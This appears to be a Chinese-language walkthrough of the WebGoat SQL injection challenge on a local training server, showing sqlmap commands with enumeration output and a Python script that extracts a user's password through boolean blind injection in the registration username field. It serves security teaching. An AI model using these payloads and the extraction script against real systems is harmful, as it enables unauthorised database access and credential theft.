經過測試，發現註冊時的使用者名稱處存在布林盲注，將如下內容儲存為request.txt,開始用sqlmap
：

PUT http://127.0.0.1:8080/WebGoat/SqlInjection/challenge HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Cookie: JSESSIONID=61E3648728C46675C274BC0980B448BE
Connection: keep-alive
Host: 127.0.0.1:8080

username_reg=hello&email_reg=1%40q.com&password_reg=world&confirm_password_reg=world
 

要注意的是Cookie有時限
執行如下命令：

# 探測資料庫型別，結果為：HSQLDB，並且建議加--no-cast引數
sqlmap -r request.txt -p username_reg

# 查資料庫，獲取3個數據庫名：
# [*] INFORMATION_SCHEMA
# [*] PUBLIC
# [*] SYSTEM_LOBS
sqlmap -r request.txt -p username_reg --dbs --no-cast

# 查PUBLIC資料庫，選擇爆破，執行緒選最大的10，得到6張表
# Database: PUBLIC
# [6 tables]
# +--------------+
# | auth         |
# | employee     |
# | roles        |
# | servers      |
# | transactions |
# | user_data    |
# +--------------+
sqlmap -r request.txt -p username_reg -D PUBLIC --tables --no-cast

# 獲取user_data表的欄位
# Database: PUBLIC
# Table: USER_DATA
# [10 columns]
# +-------------+-------------+
# | Column      | Type        |
# +-------------+-------------+
# | cc_number   | non-numeric |
# | cc_type     | non-numeric |
# | cookie      | non-numeric |
# | email       | non-numeric |
# | first_name  | non-numeric |
# | last_name   | non-numeric |
# | login_count | numeric     |
# | password    | non-numeric |
# | today       | numeric     |
# | userid      | numeric     |
# +-------------+-------------+
sqlmap -r request.txt -p username_reg -D PUBLIC -T user_data --columns --no-cast

# 最後一步出錯了，，，
 

通過看原始碼發現，自己連正確的表都沒有注出來，sqlmap就不指望了，寫指令碼跑吧

# coding:utf8

"""
True: already exists please try to register with a different username.
False: created, please proceed to the login page.

我解這個問題其實是在蒙，用sqlmap爆破發現register的username_reg有bool盲注，然後用sqlmap一通，知道一個表中有password欄位，然後sqlmap再往下就出錯了，沒辦法，寫指令碼吧，已經知道了欄位，就直接盲注欄位，老是不對，看原始碼才知道使用者名稱原來是tom，小寫的t，這樣就得到密碼了

但其實看原始碼之後才發現，sqlmap搞出來的表和我要注入的表是不一樣的，就這樣吧，誤打誤撞出來了

原始碼位置: WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionChallenge.java
"""
 


import requests


def get_status(content):
    if 'already exists please try to register with a different username.' in content:
        return 1
    elif 'created, please proceed to the login page.' in content:
        return 0
    else:
        return -1


url = 'http://127.0.0.1:8080/WebGoat/SqlInjection/challenge'

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Referer': 'http://127.0.0.1:8080/WebGoat/start.mvc',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Length': '85',
    'Cookie': 'JSESSIONID=F15EA9332EAE5CFBD726887EA270BC9C',
    'Connection': 'keep-alive',
    'Host': '127.0.0.1:8080',
    }

data = {
    'username_reg': 'a',
    'email_reg': '[email protected]',
    'password_reg': 'a',
    'confirm_password_reg': 'a',
}

s = requests.session()

tom_pass_len = 0
for i in range(2, 100):
    data['username_reg'] = "tom' AND LENGTH(password)=%d AND '1'='1" % i
    res = s.put(url, headers=headers, data=data)
    if get_status(res.content) == -1:
        print 'Error'
        print res.content
        exit(0)
    elif get_status(res.content) == 0:
        continue
    elif get_status(res.content) == 1:
        print 'password len: %d' % i
        tom_pass_len = i
        break

tom_password = ['*'] * tom_pass_len
common_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(1, tom_pass_len+1):
    for c in common_chars:
        data['username_reg'] = "tom' AND SUBSTRING(password, %d, 1)='%s" % (i, c)
        res = s.put(url, headers=headers, data=data)
        if get_status(res.content) == -1:
            print 'Error'
            print res.content
            exit(0)
        elif get_status(res.content) == 0:
            continue
        elif get_status(res.content) == 1:
            print c
            tom_password[i-1] = c
            break

print 'tom_password: ', ''.join(tom_password)